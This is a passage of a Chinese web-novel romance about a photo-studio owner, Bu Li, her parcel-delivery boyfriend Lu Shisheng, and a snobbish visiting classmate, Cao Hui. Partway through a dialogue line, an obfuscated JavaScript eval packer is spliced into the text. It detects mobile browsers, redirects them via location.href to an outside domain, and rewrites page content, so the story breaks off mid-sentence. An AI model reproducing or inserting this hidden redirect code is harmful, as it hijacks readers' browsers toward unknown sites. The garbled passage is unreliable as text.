来之前她还拉着一个大行李箱去望潮木工坊找陆时生,现在也享受了被人送回家的待遇。 步梨忽然觉得东岛之旅像是一场梦,梦幻得不太真实,以至于她走到陆时生跟前,掐了掐他的胳膊,没遭到反抗,她才安定下来。 写真馆关店了好几天,好像也没耽误几单生意。这栋三层高的别院一直都安安静静的,坐落于繁茂的花草树木间。 陆时生把步梨送到家,没有要走的意思。 两人都饿着肚子,陆时生便想着去到厨房准备做点吃的。 从前他在这儿当帮工的时候就宾至如归,比步梨还了解厨房各处设施,现在有了正式的名分,反倒觉得不好意思了,开柜门找食材之前还很客气地问了句,“能用下厨房吗?” 步梨回了屋子后就懒懒地陷在沙发上拿着手机向冯雅询问工作的事,临走之前,她怕影响客源,开了个工作专用微信号交给冯雅,把拍摄的方式改成预约制。 到现在只有一个顾客来预约,冯雅给安排在了明天。 听到陆时生说话,她懒洋洋回了句,“可以,你现在是这里的老板娘。” 陆时生慢条斯理地纠正她:“我觉得我更像厨娘。” 他最终只在厨房翻出来两包泡面,又配了两个鸡蛋和一捆小白菜。 锅里正烧着水,步梨走过来觉得自己应该帮点忙,走过来正看见陆时生在处理一堆烂菜叶。 “我帮你吧。” 陆时生往边上挪了挪,给她留出来摘菜的位置。 步梨把烂了的叶子摘出来扔进垃圾桶,陆时生看着她动作顿了顿,几次过后终于开口,声音带着点疑惑,“扔了?” 步梨漫不经心地说:“烂了啊。” “没全烂。” “烂了一点就不能吃了。” 步梨想起来去东岛之前她还买了不少苹果和桃子,果然打开冰箱一看,每个身上都长了黑色的圈,或大或小,步梨通通给扔了,陆时生看了看,没说什么。 做完这些,陆时生开始煮面,步梨在厨房基本上等于闲逛,她见到墙上挂着的围裙,心血来潮给陆时生套了上去,淡黄色的围裙在他身上显得有点愈发小巧可爱。 听步梨呵呵地笑了两声,陆时生将反抗的情绪压了下去,再忍两分钟面也就煮完了,步梨却还充分利用这两分钟认认真真地把蕾丝带子在他身后系好。 “诶?”她发出一声惊呼,“你衣服后面破了,是不是勾到哪里了?” 步梨拽着衣角给陆时生看他衣服上破的洞,她从前倒是没有这么近距离地观察过陆时生。 陆时生本人并不太在意,问了句,“明显吗?” “不明显,改天我们去买一件新的吧。” 她回想了下陆时生几乎就两件短袖来回换着穿,又经常来回搬快递,衣服很容易弄破。 陆时生把面盛了出来,“步大老板,我们穷人家的孩子一年买不了几次新衣服。” 步梨怔了片刻后,朝他眨眨眼,逗他道:“买不了几次具体是买几次?那你今年买几次了?” 陆时生轻笑着说了句,“额度用完了。” “那缝缝吧,你脱下来,我给你补补,虽然我不会,但可以学,应该就是用线把破了的边连起来吧。” 步梨嘴里念叨着,还真研究起来怎么缝衣服了。 “那......你脱吧。”陆时生大大方方把手一扬,示意步梨帮他脱衣服。 他手举过头顶,还拿着长勺。 过了两秒,他感觉衣角被人撩起来半边,腰间一阵凉飕飕的触感传来。 步梨也没想到自己这么色,没经思考手就伸了进去,在他的腰线上掐了一把。 “先把我肚子填饱再说吧。” 她说话时一双杏眼亮晶晶的,手上动作分明在撩.拨,却让人一点也联想不到色.情这个词。 步梨转身走了,回到沙发继续瘫倒。 陆时生当时想着,要不是在盛面,要不是手里还有厨具,他定要把她抓过来。 晚上,两人一块吃过了饭,陆时生去洗碗,步梨开始收拾她的行李箱,把买来的衣服整整齐齐挂好,出来时,陆时生的包还被丢在客厅,包里的生活用品一应俱全。 除了在这里留宿的那两次,这是陆时生在这儿待到最晚的一次。 步梨走到了厨房看到陆时生还在刷碗,两个碗两双筷子一口锅被他刷得锃亮。 “我比较保守。”步梨忽然冒出来一句。 陆时生不明所以,听到她补充道:“我们现在还不能同居。” 陆时生手上动作顿了顿,心里缓缓蒙上一层阴影。 他原本也没想到这一层,此刻看着步梨担心的眼神,到底她还是对自己不太满意...... 陆时生眸光闪了闪,用似有若无的笑意掩饰尴尬,漫不经心将碗放在橱柜里后,把擦了手的毛巾往边上一扔,“回了,早就想家了。” 他转身正见到步梨如释重负一般吐了口气,心里咯噔一下,勉强压下翻涌的火气,耐心地好言问道:“明天早上想吃什么?” 步梨脸上重新浮起笑意,想了想说:“虾。” 陆时生:“要剥好吗?” 步梨摇摇头,“不要,要新鲜的,煮好带过来,一起剥才有意思。” * 第二天一早,步梨刚起床就听到门口有人按门铃,这种一次慢两次快的节奏是陆时生独有的按铃方式。 步梨知道是他,没着急开门,反而先到二楼的阳台上跟他招了招手。 她还穿着睡衣裙,一身干净的白色,身旁有一棵很高的梧桐树,步梨站在枝桠后朝着他的方向笑了笑,示意她让他等会,她马上下去开门。 她转身时宽松的裙摆带起一阵风,陆时生正抬头望着她,那一刻没来由得生出几分恍惚和害怕。 他怕步梨只是下凡渡劫的神女,来凡间走一遭后,终究是要回到高处去,还把他的整颗心给顺走了。 步梨下来后,便绕着陆时生的车子看了一圈,在她发现他车上什么也没有后,疑惑地问:“不是说给我带早餐吗?” “你不是说要新鲜的,上车。”陆时生把头盔扣在她头上。 那是一顶崭新的头盔,步梨戴上时还能闻到刚打开包装的那股特殊味道。 这顶头盔还是她来花溪镇刚刚认识陆时生的那会儿买给他的谢礼,当时她说,买两个,一个给他,一个给他未来的女朋友。 没想到这头盔现在戴在了自己头上。 步梨长腿一跨,稳稳当当坐在了后座上,“要去哪?” “菜市场。” 陆时生嗖地一下启动车子,把小电驴开出了跑车的气势,清晨微凉的风在耳边拂过,步梨的头发被吹得糊住了半边脸,她把头发往头盔缝里塞了塞,伸手环住了陆时生的腰。 他的腰很细,但却不瘦,是很有手感的那种,风吹过来,薄薄的T恤紧贴在腰处,能清楚地看到腰线和紧实的肌肉。 车停在卖海鲜的摊位前,步梨下了车,等陆时生把车挺好,头盔挂在车把上,两人一块走了进去。 清晨的早市人不少,阳光透过薄薄的雾气洒下来,空气里弥漫着海水的咸腥味道。 海鲜摊这边的路经常是湿湿的,最边上的摊位及其捡漏,摊主就在地上铺了张白色的塑料布,上面几条活鱼甩着尾巴抗争,每条都是活蹦乱跳的,不像旁边网里的螃蟹,蔫蔫地吐着泡泡。 步梨走过去的时候,一条鱼正好蹦到了她脚下。 步梨躲了一下,便见到那条与命运抗争失败的鱼被一只大手捞起来,扔回了塑料布上。卖鱼的摊主朝她咧了下嘴,不好意思道:“丫头没吓着吧,这鱼都刚打上来的,精神着呢。” 步梨拍着胸脯给自己压惊,一边庆幸自己没穿陆时生新给她买的长裙,一边又后悔她今天穿了条白裙子! 陆时生跟她说:“要不你在外面等我吧。” “没事。”步梨抬脚往里走。 反正脏都脏了。 她又不是没来过这儿,上次刚在这里帮陆时生付了一袋皮皮虾的钱,摊主当时一句话没说,但意味深长的眼神步梨记忆犹新,但她是个厚脸皮,向来不在意这些,没想到陆时生很专一,今天来还是这个摊位。 摊主是个年轻的男人,右边眼角有道疤,看面相有些凶狠,见到有人来,也只是低声说两句,“来了。” 陆时生道:“张哥,来两斤活虾。” 男人麻利地给他捞了半袋,往秤上秤过后递给陆时生。 “三十。” 全程没有别的废话。 回来后,步梨问陆时生他怎么认识的那个张哥,要是她看见这种凶巴巴的摊主, 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“那你欲擒故纵的目的是什么?”步梨忽然凑近,一双真挚的眼睛望着他,“我可以送你。” 她记得陆时生尤其喜欢车,经常把他的小电驴连擦带抹好几遍,“跑车喜欢吗?” 被这样真诚地望着,勾人不自知,陆时生受不住这样纯粹的诱惑,朝着她的双唇就贴了上去。 步梨顺势双手环住他的脖子,轻轻咬了下他的嘴唇。 陆时生身子一僵,正要往深处探去,这时门咯吱一响,有人走了进来。 还没趁他反应过来,陆时生胸前便有一股力量狠狠将他推开,他人在原地懵了会儿,见到步梨抹了两下嘴唇。 “肯定是冯雅来了。” 陆时生皱眉,“她来了你慌什么?” “咱俩的事儿,先别告诉她。” 其实冯雅现在的心思早就不在陆时生身上了,但步梨还是觉得不好开口,需要一个合适的契机把这件事说给她听。 她回头见陆时生有些怔愣,好像是不太高兴,便在他肩膀上轻拍了两下以示安慰,起身去找冯雅。 “小冯,过来,吃不吃虾?”她朝着冯雅招了招。 “步梨姐,我不吃了,昨天刚在家吃过。”冯雅放了几天假,回来上班的第一天精气神十足,她抬眼见到陆时生也没惊讶,只是随口说了句,“生哥这么早就来帮忙了啊,那个客人预约的十点才来呢。” 从前陆时生也经常来,不分早晚,来送个快递就可能被扣下干活,在这儿也没什么不正常的,但步梨笑眯眯地解释了句,“他来给我送点东西。” 冯雅看了她一眼,没说什么。 步梨想起来她给冯雅带的礼物,急忙说道:“我给你从东岛带了礼物哦。” 冯雅一听有礼物,立刻提起了兴致,“真的?什么?” 步梨给她拿了过来,是一个可以背出去的水杯,还是和当下热门IP的联名款,步梨不太懂,但冯雅很喜欢,爱不释手地看了半天,还埋怨起步梨给她买的水杯太好看让她舍不得用。 步梨觉得这孩子简直被惯坏了,叉着腰让她去检查衣服和道具。 陆时生在这里待了会儿也走了。 回到花溪镇的日子又恢复了以往的平静。陆时生照常每日都来,和以前一样,只是暗搓搓多了眉来眼去的互动。 自从和陆时生在一起之后,她就没再愁过一日三餐,陆时生几乎是雷打不动来给她做饭,忙的时候也会让崔胖送过来。 她沉浸在爱情的甜蜜里,直到一天早上上称的时候,步梨如遭雷击,因为她胖了整整六斤。 “我胖了六斤。” 她愤愤地去找陆时生诉苦。 人类的悲喜并不相通,陆时生反而很得意,“继续努力。” 步梨发誓道:“从现在开始一个月我都不会吃晚饭了。” 结果当天晚上陆时生送来的饭有糖醋排骨,步梨看了两眼,伸了伸手,又移开目光,“不吃。” 最终她还是被陆时生哄骗着吃了三块,口腹之欲是满足了,心情却十分郁闷。陆时生很识趣地在第二天晚上送来了蔬菜沙拉,步梨依然只吃了三口,饭后依旧闷闷不乐,说是没味道吃不下。 陆时生十分头疼,觉得厨子着实不好当。 36. 差距 从春意阑珊到盛夏盎然,就这么过了两个月。 写真馆生意虽算不上火爆,但隔三差五就会来客人,之前设置的预约制形同虚设,因为客人根本不需要等位,随时可来拍,但在微信上提前约定好时间还是有好处的,步梨可以提前准备好很多东西。 冯雅本来说的是今天没有客人预约来拍摄,但十点钟的时候,有人来敲门。冯雅出去接待,带进来一位打扮靓丽留着一头漂亮卷发的小姐姐。 冯雅眼睛亮了亮,恭恭敬敬地把客人迎进了屋。 “步梨姐,有客人来了。”她一进屋就兴致勃勃地喊,跑到步梨跟前弯下腰在她耳边悄声说了句,“是个大美女哦。” “美女姐姐,这是我们老板。”冯雅看向客人。 步梨未见其人,先听到了清脆的高跟鞋的声音。她抬眼,就见到冯雅口中的大美女扭着腰肢走了进来,她戴着墨镜,几乎占了大半边脸,除了墨镜当属她吃了人血一般的红唇最为显眼。 步梨张了张口,心里有种不祥的预感。 “曹卉?” 她完全没想到曹卉会找到这里来。 “你怎么来这儿了?” 曹卉检查了下椅子的卫生情况才坐下说:“我在休年假,最近来这边旅游,上次听说你在这边开了家写真馆,正好来看看。” “原来你们是朋友啊。”冯雅给曹卉递过来杯茶水,冯雅把墨镜拉下半边脸,“有咖啡吗?” 冯雅局促道:“哦......有,但我不太会用咖啡机。” 步梨道:“我去吧。” 冯雅留在这里笑嘻嘻地和曹卉搭话,“曹小姐是来找我们步老板玩的吗?” “是啊,我们关系好着呢,你们这写真拍得还不错啊。” 曹卉站起来,开始浏览宣传墙上挂着的相片。 冯雅一听忙拿了写真集递上去:“那您要不要拍几套呢?曹小姐您长得这么好看,拍照肯定绝美!” “我知道啊。”曹卉漫不经心地应了句,她看了眼厨房的步梨,故意提高了些音量问,“你们这里怪冷清的,平时都没客人吗?” 冯雅也没听出来她话里的意思,很真诚地说道:“是没什么,所以您要是想拍的话,不用预约,现在就能拍。” “嗯。”曹卉淡淡应了声。 冯雅一愣,思考了片刻她这声嗯是什么意思,这是要拍还是再想想?她试探着问:“那您选选?” “这些风格都是老生常谈的了,我早就拍过,有没有新颖一点的啊?”曹卉目光定格在被命名为“生与死的距离”那张照片上,“这风格还不错,就是名字不太吉利。” “这两位顾客是一对共同抗击癌症的情侣,他们在——”冯雅还没说完,就被曹卉厌恶地打算,“癌症?晦气晦气,不拍了。” 这句话像是子弹一样击碎了冯雅对她的滤镜,冯雅忽然有点想走,离这个人远点。 “那就不送了。” “你说什么?”曹卉脸一黑,不可思议地看着冯雅,似乎不能相信这么一个小店员敢跟她这样说话。 冯雅保持着最后几分理智,“没什么。” 曹卉白了她一眼,转身去绕到屋子的别处喊步梨,“梨子,你陪我出去玩玩呗,这边我都不太熟。” 步梨把咖啡端给了她,“我店里还有工作。” 曹卉扭着脖子往四周环顾一番,“哪里有客人啊?” 步梨道:“没客人也有别的工作,你来得临时,我没提前空出时间,抱歉没法儿陪你了。” 冯雅非常不开心。 她趁曹卉不在旁边跟步梨描述了一下曹卉的“恶行”,步梨拍了拍她的肩膀让她放宽心,“她向来就是那样的人,和她计较什么?一个时时刻刻都阴阳怪气的人,能又多幸福?别让她搅了你的好心情。” 冯雅听过茅塞顿开,转身开开心心地去干活了。 曹卉自顾自在屋子里绕了一圈后,又回到步梨边上:“你这是在做什么?” 步梨太阳穴跳了跳,“研究新样片。” 曹卉跟着步梨走到她的办公桌旁,跟个好奇小孩一样四处打量着,还真看到桌上有一本手绘本,“这是你的设计稿吗?我能不能拍这个?” “这个我还没有设计好,而且就是一个随便画画的初稿,样片都没有。”其实这就是步梨练手画着玩的。 曹卉失望道:“我可以等啊,我就在你这里住几天,等你设计好了,我给你当拍样片的模特怎么样?” 步梨和冯雅对视了一眼,两人眼神里都透着相同的情绪,“我这里的房间要么改成拍摄间了,要么储存了很多杂物没有收拾出来,又不能委屈你和我挤在一张小床上。” 步梨遗憾万分,“对了,花沟县里有家民宿我住过,很不错,晚上我送你过去。” 话都说到这个份儿上,曹卉没理由不答应。 傍晚那会儿,步梨开车把曹卉送去了渔家调民宿,然后驱车返回。 她没把曹卉的造访放在心上,本以为放着她自己在这转几圈,没意思就会走了,没想到第二天临近中午,曹卉又来了写真馆。 陆时生这会儿也在。 他送过来几个快递,说做完午饭再走。曹卉来的时候,陆时生正在系着围裙在厨房做油爆虾。 曹卉进来的时候,许是听到有动静,在客厅远远地向厨房望了一眼,然后扯着嗓子很惊讶地问步梨:“梨子,你家保姆是男的啊?” “我家没保姆啊。”步梨见她看向厨房才反应过来,“那不是保姆。” “是厨娘。”冯雅在一旁笑嘻嘻地接过来,说完还朝着步梨挤眉弄眼一番。 步梨扯着嘴角笑了笑,但愿陆时生没听到。 他们说话声音不大,炒菜时噼里啪啦的声音应该能将他们的话掩盖掉。但曹卉好像天生有些大嗓门,她声音尖,穿透力比较强,步梨听着就头疼。 曹卉依旧说个不停,“看背影你家大厨还挺帅气,身材不错,是不是做饭很练臂力啊。” 此时陆时生正在颠勺,拿着锅的手臂露出很漂亮的肌肉线条。 步梨也看愣了几分,她竟不知道陆时生还有这个技能,从前还以为他只会煮面呢。 陆时生把饭端上餐桌时,曹卉张大了的嘴巴很久都没合上,“你你你不是——” 陆时生也愣了片刻,看着眼前这个人像是辨认了一会儿,然后笑了笑,坦然道:“哦,我是这里的厨娘。” 曹卉瞪大了眼睛问:“所以你真是步梨的男朋友?” 她要真相信眼前这么帅一男的是步梨的大厨就成傻子了! 鬼才信大厨还要陪着去东岛! 倒有可能这是步梨的私人保镖,但就算是如此,她也会怀疑这两人之间有点什么。 “不像吗?”陆时生没否认。 步梨也没否认,还在曹卉看向她确认这件事的时候耸肩笑了下。 除了曹卉,震惊的还有冯雅。 她在原地凌乱了一会儿,处理这个信息用了些时间,才后知后觉地感到,这也不是什么稀奇事。 女人的直觉就是很准。 从她见到步梨和陆时生站在一起的那个时刻,她就产生了一种危机感,是她自己都没意识到的。 那个时候她就知道,陆时生一定会喜欢上步梨。 她现在已经不喜欢陆时生了,从一个局外人的角度来看这件事,她觉得这是件好事,只是陆时生委实配不上步梨姐。 吃饭的时候,曹卉顺其自然地加入了。 毕竟是远道而来的客人加许久未见的大学同学,最基本的待客之道还是要有的。 步梨给她推荐了周边的几个地方让她挑选,吃完饭便送她过去。 曹卉选完了地方,又将注意力转向陆时生,很突兀地问了句,“陆哥,你真是送快递的?” 陆时生看着茶几上摞着的几个快递箱,“那几个快递就是我刚送来的。” 冯雅暗着个脸说:“只有步梨姐可以享受送货上门的服务。” 她也说不上自己是什么心情,思来想去,这种感觉好像是对陆时生更恨了几分。 步梨原还想着等等再把她和陆时生的事告诉冯雅,现在她知道了,也没表现地太反常,步梨也就松快了,目光从冯雅那里收回的时候,她发现自己碗里多了一只油爆虾,转头便见到陆时生对她得意地挑了下眉,像个求夸的小孩,“尝尝我新学的手艺。” 曹卉啧啧了两声,露出一个羡慕的神色,“梨子你男朋友可真好啊,虽然没啥钱,但是真会疼人,你知道诺诺她男朋友吗,开了三家公司,整天都忙工作,连诺诺生孩子都没回来,好像在外面还养了个小情人,你说男的是不是只要有钱,都会变坏,还是得像你这样,找个体贴听话的才好。” 步梨安慰她道:“也不是吧,你前男友不就又没钱又找小三来着吗?” 曹卉脸色瞬间黑了一个度,“死人就别提了吧!” 这话没让她消停了半会儿,曹卉很快脸色恢复如常,再次开口,“陆哥这么爱你,肯定也接受入赘了,等以后你回了江北,陆哥要在江北送快递吗?” 步梨察觉陆时生的拿筷子的手顿了一下,很迅速短暂的一秒,再看过去,陆时生神色平静如常,平静到让步梨侥幸地觉得方才只是她的错觉。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561281|168336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪就想那么远了,我这写真馆刚有起色,可舍不得丢了,冯雅,今天是不是有好几个客人预约来着?” 冯雅疯狂点头。 “回江北也好啊。” 步梨说完,就听见陆时生不咸不淡说了句。 他说完,面不改色地给步梨夹了点菜,慢悠悠地继续说道:“送快递多累,要真能入赘,我就老老实实在家待着,做做木工活儿,干嘛往外跑?” 步梨抬头看了他一眼,陆时生神情坦然,毫不避讳两人关系里身份差距,就算曹卉话里话外都表现出对陆时生条件的鄙夷,陆时生也没生气,有时还会开着玩笑回怼几句。 她暗暗松了一口气,后知后觉地发现好像她才是那个在意旁人评价的人。 吃过饭,步梨送曹卉去了花沟县的弯月码头。 曹卉对于步梨在花溪镇开写真馆的事情一直十分惊讶,在东岛的时候就表示要亲自来看看,如今亲自来看了,她惊讶地发现步梨似乎真的要在这里落脚了。 “你真打算一辈子待在花溪镇?” 步梨闻言一愣,虽然她讨厌曹卉一直对她问来问去,但这个问题她确实应该好好考虑考虑。 最初她来花溪镇,确实只是想散散心。毕竟她总不能真的一直不回江北。 “再说吧,走一步看一步呗。”她模糊回答,因为自己也没有答案,时而觉得花溪镇是个好地方,一直待下去也不错,时而又觉得自己应该回江北,毕竟要和父母离得近一点。 “对了,你是最近才和陆哥在一起的吗?咱们在东岛聚会的时候,你还说他是你朋友。” “对,在一起差不多两个月了。” 曹卉在脑海里翻了下日历,“那就是从东岛那会儿就——梨子,他不会是图你钱吧。” 步梨以为她要说什么呢,原来是这么幼稚简单的问题,她笑了声,漫不经心地说道:“没事,我又不怕这个。” 曹卉嗓子一噎,听她云淡风轻的语气才意识到她的问题确实多余,步梨多的是钱,最不怕的就是别人图她钱,更何况陆时生长得帅身材好,又会做饭,看样子平时对步梨也是一呼百应予取予求,就是穷了点,还有什么可挑剔的? 她心里生出淡淡的嫉妒,转头去看车窗外的风景。 宽广的路面旁边就是海,阳光倾泻在浩瀚海面,白色的浪花在银色光芒中轻轻跃动,犹如细碎珍珠。 不得不承认这里是个风景秀丽的好地方。 ... 曹卉在这里待了快一周也没说要走,每天都要来步梨这里蹭一顿早饭,不过她饭量跟猫似的,步梨只需要多出一副碗筷。 上午吃过饭后,步梨正在收拾房间,突然就听见冯雅的一声惊呼。 步梨望过去的时候,冯雅脸上还保持着震惊的样子,也不说话,只是示意步梨过去,“冯雅,告诉过你了要冷静,一大早怎么就开始发疯了?” 她皱着眉头走过去,冯雅便把手机晾给她看。 给她看的是工作手机,平时很平静的消息界面,今天竟然一下子蹦出了十三个好友添加申请。 步梨点了一个通过,对方很快发来消息问: “请问是鬼屋写真馆吗?” 步梨叹了口气,感觉她可以直接把店名给改掉了。 过了会儿,她想到了些什么,随即去验证,果然是庄周梦蝶的那条视频起的作用,点赞量和评论量有几十万,好多人都在留言里都求地址,想来鬼屋找女鬼老板拍写真。 突然被发掘,步梨有种受宠若惊的不真实感,反复确认了几次,才确定这是真的,而且还有顾客同样也是vlog博主,已经到了花沟县,打算今天就来探店。 步梨急忙趁着现下还没人,拉着在场的人把房间里里外外仔细打扫了一遍,连曹卉都没能逃过她的魔爪。 干完,曹卉揉着酸痛的腰,当即决定晚上就走。步梨再三挽留也没能成功。 谁不知道留下来就是干活的命! 曹卉不懂她一个富家千金干活的时候居然能那般乐在其中。 步梨原本打算等曹卉走的时候亲自送她去车站的,虽然两人这两天也明里暗里争锋相对过,但毕竟从未撕破脸,曹卉也只是嘴欠了点,说点什么话也不会让人缺斤少两,所以两人之间面子上的工程总得做,也算是有始有终。 但眼下突然里忙起来了,她这个隐匿在村庄里的小店突然就被大众发掘并青睐,变化来得太快,她只好让陆时生开车去送曹卉。 曹卉听到她说这话的时候脸上一副不可思议的表情,满脸写着“这你都放心?” 步梨朝她摆了摆手,说了句:“路上小心。” 37. 香瓜写真馆诚招男模 曹卉上了车,拉了两下安全带都没有成功。她转过头楚楚可怜地对陆时生说:“安全带好像坏了。” 陆时生侧了下头,平淡地说道:“没坏。” “可是拽不出来啊。”曹卉拧着眉头又拽了两下。 陆时生还是刚才的情绪,一点儿动作都没给,“你好好拽就出来了。” 曹卉觉得眼前这个人跟吃饭时一直给步梨夹菜还有吃完就辛勤打扫屋子的陆时生判若两人。 她稍稍缓了些力,安全带被成功拽了出来,“哈,奇怪了,刚才说什么都拽不出来。” 陆时生没回话,见她系好了安全带,平稳地启动了车子。 曹卉笑了两声,自行缓解尴尬,她把窗户开了个缝,风吹进来,带起一阵清香。 陆时生能闻到一股浓烈的香气从身旁蔓延过来,带着强烈与毫不掩饰的侵袭。 曹卉道:“其实凭你的外表和能力,大可不必依附于步梨生活。你如果愿意来东岛,我可以给你介绍个体面的工作。” 陆时生笑了一声,反问道:“我说过要去东岛吗?” 曹卉觉得陆时生这种人既然都愿意当小白脸了,那给谁当不是当,如果跟了她,便不用窝在这种小地方送快递,有更广阔的发展空间。 步梨就算再家大业大,不也没给陆时生谋个一官半职的吗?哪个男人没有野心,对陆时生这种年纪大没学历还没钱的人,想要出人头地,就只剩这一种方式了。 陆时生淡然地操作方向盘,语气也很平静,“我和步梨是两情相悦,没有谁依附于谁。” “是吗?”曹卉看了眼陆时生,面露质疑。 对方忽的嗤笑了一声,眼神带着玩味与冰冷,他的长相棱角分明,让他周身自带一种凌人的气势,再有这么一个凌厉的眼神看过来,像是冰雪里的一把刀。 “好啊。” 曹卉还以为自己听错了,“你是说‘好’?” 陆时生道:“你能给我什么?” 曹卉反问,“你想要什么?” 陆时生对这样的问题见怪不怪,“跑车得先来一辆吧。” 曹卉顿时黑了脸,“你太贪心了吧。” 陆时生皱了下眉,“不行吗?步梨可是说要给我一辆的,让我以后开着跑车送快递。看来你照步梨还是差了点。” 曹卉:“你以为我刚才说的事在跟你开玩笑?” “不是在开玩笑吗?” 曹卉正了正色,“我是真心邀请你,和我一起去东岛。” 陆时生冷笑了声,“要是想下车,前面可以。”他冷不丁来了这么一句,语气还是漫不经心的,带着几分痞气。 曹卉当即觉得陆时生本质里是非常野且非常痞的一个人,是那种真的会把她仍在半路,然后扬长而去的人。 “我开玩笑的。”她说了句软话,逃过了被赶下车的命运,只是心里仍旧是不服的。 就算他喜欢步梨又怎么样? 她不信这个时代身份背景差异这么大的两个人之间的感情会如此纯粹,就算纯粹,也不会长久。 ... 从曹卉离开的那日起,写真馆的生意突然就好了起来,每天都有不同地方的客人来预约,步梨几乎是从早忙到晚。 人一忙起来,虽然累了点,但好像被逼着前行,能激发出无限潜力。 自己当初突发奇想开始的创业居然蒸蒸日上,她受到鼓舞,还在百忙之中抽空研究了新的样片。 前些日子来了几名男性客户跟步梨反馈说男生的写真可选择的太少了。 步梨现在的样片册里,80%的样片风格都是唯美风格的,室内布置也偏是温馨甜美风,来拍的男客户几乎都只拍了陆时生的那三组照片。 所以这两天,她在新的设计稿里尽量用了男女通用的元素,并且让男士来当模特。其实她都没想,大脑里默认了让陆时生当模特,一回生二回熟,陆时生这次肯定不会抗拒了。 吃过早饭,步梨信心满满地跟陆时生提了这事儿。 这组样片她设计得唯美又颓废,用充满电影感的镜头传达出传达出放荡不羁的破碎感。 “挺好。”陆时生给出了中肯但简洁的评价。 虽然就俩字的评价,但步梨挺满足的,原本也没打算从陆时生口中听到多么花里胡哨的夸奖词汇。 她笑盈盈地问陆时生:“什么时候去拍?” “我来?”陆时生皱了下眉,甩出三个字,“拍不了。” 步梨拿筷子的手一滞,嘴角往下一扯,“为什么?” 陆时生一如平常地道:“上次拍是因为冯雅的事,这次是什么?” “这次——”步梨哑口无言,愣了一会儿,想着陆时生是个吃软不吃硬的人,便露出一个娇媚的笑容,“我需要你。” “没空,不拍。” “那我选新的模特了!”步梨气饱了,没吃两口就放了碗筷,起身去到客厅,双手抱肘气鼓鼓地坐在沙发上。 陆时生也很快吃完,简单吃完了,把餐桌收拾干净后,临走前还若无其事地跟步梨道了个别,提醒她冰箱里有切好的水果记得吃。 步梨觉得他有点反常,却又说不出来时什么。 后面几天她又跟陆时生提了两次拍样片的事,都没成功,而且还因为这事儿,陆时生连着快一周都没来写真馆,也不知道在忙些什么。 步梨愤愤不平,不拍就算了,反正又不是找不到人拍,现在她的写真馆是整个花沟县唯一的网红写真馆,想找个男模还不简单。 陆时生不拍她也不再逼他,但躲着不来见她是什么意思? 她思来想去心里气不过,终于在第九天的时候给他电话过去,拨了几次都没接通。 最近连送饭都是崔胖来的次数居多,步梨仔细想想,隐约察觉他的反常好像不是从她找他拍样片开始的,而是从曹卉走了之后,陆时生来得次数就越来越少。步梨想之前曹卉的那些话还是让他受了点刺激的。 傍晚崔胖来送饭的时候,步梨趁机问了句陆时生最近在干嘛,崔胖说陆时生正在筹谋着将木工坊开到县城里去,他这几天在选址找店面,再兼顾这边的快递站,一天几乎从早忙到晚。 崔胖说完,还朝她挤眉弄眼了两下,欠揍地说:“步梨姐,你要是觉得生哥太忙没空来看你,不如考虑考虑我,我不忙。” 步梨在他头上毫不收力地敲了两下,“你这叫挖人墙角,小小年纪不学好!” “疼疼疼。”崔胖龇牙咧嘴地捂着头躲开,又贼心不死地说,“不然拍样片呢,步梨姐你不是在找男模特吗,我最近可是瘦了三斤了。” 步梨打量他一番,“等你再瘦三十斤吧。” 崔胖捏了捏拳头,“那就瘦没了!” 他朝着步梨吐了下舌头,转身跑了。 又是一天繁忙不停的工作。 步梨今天给四位客人拍了照片,回来后感觉四肢酸痛,现在给她一根针拿不起来了。 她在沙发上瘫软着歇了会儿,举着手机毫无灵魂地刷短视频。 庄周梦蝶的账号里有了不少新的vlog,他们又去了很多有趣的地方,步梨为他们感到开心。 她之前给自己店的视频点过赞,手机APP按照她的喜好,又推荐了很多同类视频。 步梨边看自己的店边咧着嘴傻笑,一直到她刷到一个八卦事件分享博主的视频内容,笑容在脸上逐渐凝固,然后消失。 那条视频里,博主讲解了香瓜写真馆为什么被叫做鬼屋写真馆。 里面有一些十几年前的新闻。 有关这栋房子。有关她的亲人。 视频里的内容半真半假,有很多博主个人的猜测,步梨没看完,一股巨大的窒息感返佣而来。 她关了手机,闭上眼睛在沙发上躺了一会儿。 晚上,步梨又打了个电话给陆时生过去,这次接通了,步梨简单说了几句后就挂了电话。 半小时后,陆时生到了写真馆。 “今天给客人拍照的时候,我差点就崴了脚。”步梨端来了提前准备好的水果,情绪中不满掺杂着委屈,像个小怨妇一样有点郁闷地抱怨,“白天我给你打了好几个电话。” 陆时生看上去挺疲惫的,这几天不见,人好像也瘦了点。 “手机没电了,回来才充上,脚怎么样?” “没事,差点而已,没崴到,崔胖说你最近总往县城跑,是想在那开店?” “有这个想法。” “怎么都没有和我提过?” 步梨情绪有些低落,这件事崔胖都知道,她却不知道。而且今天陆时生来了,她抱怨了今天的事,陆时生也没说几句话,情绪一直是不咸不淡的,这让她有些恼火。 陆时生察觉到她的情绪,开口解释了句:“只是个初步的想法,也不一定会落实。” 步梨思考了下,直接开口问道:“你送曹卉去车站那天,她是不是和你说什么了?” 陆时生道:“就是平常的聊天。” 步梨道:“她平常都跟人聊什么我也不是不知道。你别把她的话放在心上。” 陆时生其实并没有把旁人的话太放心上,他有开店这个想法单纯是想多挣点钱,这样步梨也不用每次在旁人提及这件事的时候都小心翼翼照顾他的感受,他也可以给步梨买更贵更好的东西。 “我不需要你做那些,咱们平时一起吃吃饭不是挺好的吗?” “你找我,就真把我当你的厨娘了?” “你在说什么?”步梨惊讶地看向他,无法相信他会说出这样的话。她心里委屈,明明是陆时生主动提出来要给她做饭的,一开始她明明什么都没想要,现在他却又说出这种话。 “抱歉,我只是想不那么难堪。” 步梨拧眉,“怎么难堪了?” 陆时生沉默了一会儿,他思考事情时喜欢用三根手指轻轻敲击桌面,过了些许,他抬起眼,似乎是想好了措辞,目光定在步梨的手腕上,“以我现在的能力,这 